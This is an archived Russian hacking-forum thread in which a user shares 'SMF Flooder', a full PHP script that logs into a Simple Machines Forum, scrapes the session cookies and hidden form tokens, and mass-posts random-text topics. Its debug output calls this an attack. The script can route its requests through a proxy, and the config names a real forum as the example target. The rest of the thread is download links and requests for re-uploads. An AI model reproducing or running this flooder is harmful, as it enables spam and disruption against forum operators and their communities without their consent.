PDA

Просмотр полной версии : SMF Flooder


Ponchik
10.04.2009, 17:10
Собстна сабж навеян это темой https://forum.antichat.ru/threadnav115153-1-10.html
Пытался нагуглить флудер, не нащёл :(
написал
http://slil.ru/27438312
http://rapidshare.com/files/219790518/SMF_Flooder_2.rar.html
http://dump.ru/file/2432381
Тестировался на SMF 1.1.6, SMF 2.0 RC1

Что может скрипт писать небуду, вот вам конфиг, сами поймёте
$debug = true; #Выводить системные месаги?
$host = 'ipd.ru'; #Например localhost
$dir = '/forum/'; #например /forum/ или /
$login = 'ololo';
$pass = 'BNDRFBNDRF';
$proxy_ip = 'ipd.ru'; #Или прокся или сайт-жертва
$proxy_port = 80;
$sleep_time = 5; #задержка секунд между запросами
$boards = array('6','2'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9
$count_msg = 5; #Скоко тем создать, максимальное число 99999999999, тебе хватит :)
UPD: Сделал и для версии 2.0 RC1

гейлордфакерЪ
10.04.2009, 18:32
пончь я в тебя влюблён) спасибо за содействие плюсоф тебе не меренно за поддержку и застраченое время

BenZeR
25.04.2009, 07:08
Спасибо, сейчас поковыряюсь ;)

DasBoot
21.08.2009, 05:34
Можно перезалить?

lobzik203
31.10.2009, 21:40
у кого он остался, перезалейте пожалста.

Alexeyco
11.11.2009, 17:44
Пожалуйста, перезалейте этого бота... очень надо

Ponchik
27.04.2010, 21:30
Уже несколько раз просили, нашёл наконецто
Надеюсь это он :o

<?php
#SMF 1.1.6 flooder by Ponchik
#forum.antichat.ru
set_time_limit(0);

$debug = true; #Выводить системные месаги?
$host = 'hackhound.org'; #Например localhost
$dir = '/forum/'; #например /forum/ или /
$login = 'ololo';
$pass = 'qwertyuiop';
$proxy_ip = 'hackhound.org'; #Или прокся или сайт-жертва
$proxy_port = 80;
$sleep_time = 15; #задержка секунд между запросами
$boards = array('34'); #Список разделов, где флудить, берётся из URL вида /index.php?board=9.0 => 9
$count_msg = 10; #Скоко тем создать, максимальное число 99999999999, тебе хватит :)

function genTheme() { #Гененируем тему, меняйте на чё хотите
$g = 'eyuioa';
$s = 'qwrtpsdfghjklzxcvbnm';
$len = rand(10,40);
$theme = '';
for($i=rand(0,1);$i<$len;$i++) {
if(!rand(0,5)) $theme .= ' ';
if($i%2) $theme .= $g[rand(0,strlen($g)-1)];
else $theme .= $s[rand(0,strlen($s)-1)];
}
return trim($theme);
}

function genMessage() { #Гененируем месагу
$g = 'eyuioa';
$s = 'qwrtpsdfghjklzxcvbnm';
$len = rand(100,500);
$theme = '';
for($i=rand(0,1);$i<$len;$i++) {
if(!rand(0,5)) $theme .= ' ';
if($i%2) $theme .= $g[rand(0,strlen($g)-1)];
else $theme .= $s[rand(0,strlen($s)-1)];
}
return trim($theme);
}

###########################Поехали######### ###################
#Да, можно былбы CURL и т.д. но мну так всё нравица

$login = urlencode($login);
$pass = urlencode($pass);

if($debug) echo "Иду на пагу<br>\r\n";

do {
$fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30);
} while(!$fp);

$post = "user=$login&passwrd=$pass&cookieneverexp=on&hash_passwrd=";

$out = "POST http://{$host}{$dir}index.php?action=login2 HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Referer: http://{$host}{$dir}index.php?action=login2\r\n";
$out .= "Proxy-Connection: Close\r\n";
$out .= "Content-Length: ".strlen($post)."\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

fwrite($fp, $out);
$ans = '';
while (!feof($fp)) {
$ans .= fgets($fp, 128);
}
fclose($fp); file_put_contents('C:\rfgsdfsdf.html',$ans);

preg_match_all("|.*Set-Cookie: (.*)=(.*);.*|U", $ans, $out);

$cookies = array();
for($i=0;$i<count($out[1]);$i++) { #Да, да, тупо тута получилось, можно бюло переделать регулярку, но мне лень (:
$cookies[] = $out[1][$i].'='.$out[2][$i].';';
}
$cookies = implode(' ',$cookies)or die('Немогу залогиниться');
if($debug) echo "Успешно залогинился<br>\r\n";

do {
$fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30);
} while(!$fp);

$out = "GET http://{$host}{$dir}index.php HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Cookie: $cookies\r\n";
$out .= "Proxy-Connection: Close\r\n\r\n";

fwrite($fp, $out);
$ans = '';
while (!feof($fp)) {
$ans .= fgets($fp, 128);
}
fclose($fp);

if($debug) echo "Готовлюсь к атаке :)<br>\r\n";
sleep($sleep_time);
#####################################
for($i=1;$i<=$count_msg;$i++) {
shuffle($boards);
$board = $boards[0];

if($debug) echo "$i/$count_msg) Создаю тему в разделе $board<br>\r\n";

do {
$fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30);
} while(!$fp);

$out = "GET http://{$host}{$dir}index.php?action=post;board={$board}. 0 HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Cookie: $cookies\r\n";
$out .= "Proxy-Connection: Close\r\n\r\n";

fwrite($fp, $out);
$ans = '';
while (!feof($fp)) {
$ans .= fgets($fp, 128);
}
fclose($fp);

preg_match_all('|.*\<input type\="hidden" name\="(.*)" value\="(.*)" /\>.*|U', $ans, $out);
for($i=0;$i<count($out[1]);$i++) {
if($out[1][$i] == 'seqnum') {
$seqnum = $out[2][$i];
$secname = $out[1][$i-1];
$secval = $out[2][$i-1];
}
}

sleep($sleep_time);

do {
$fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 30);
} while(!$fp);
$theme = urlencode(genTheme());
$message = urlencode(genMessage());

$post = "topic=0&subject=$theme&icon=xx&message=$message&notify=0&lock=0&goback=1&attachment%5B%5D=&attachment%5B%5D=&post=%CE%F2%EF%F0%E0%E2%E8%F2%FC&additional_options=0&$secname=$secval&seqnum=$seqnum";

$out = "POST http://{$host}{$dir}index.php?action=post2;start=0;board= {$board} HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Referer: http://$host/forum/index.php?action=post;board={$board}.0\r\n";
$out .= "Cookie: $cookies\r\n";
$out .= "Proxy-Connection: Close\r\n";
$out .= "Content-Length: ".strlen($post)."\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n$post\r\n\r\n";

fwrite($fp, $out);
$ans = '';
while (!feof($fp)) {
$ans .= fgets($fp, 128);
}
fclose($fp);
file_put_contents('C:\\'.time().'.html',$out);
sleep($sleep_time);
}
?>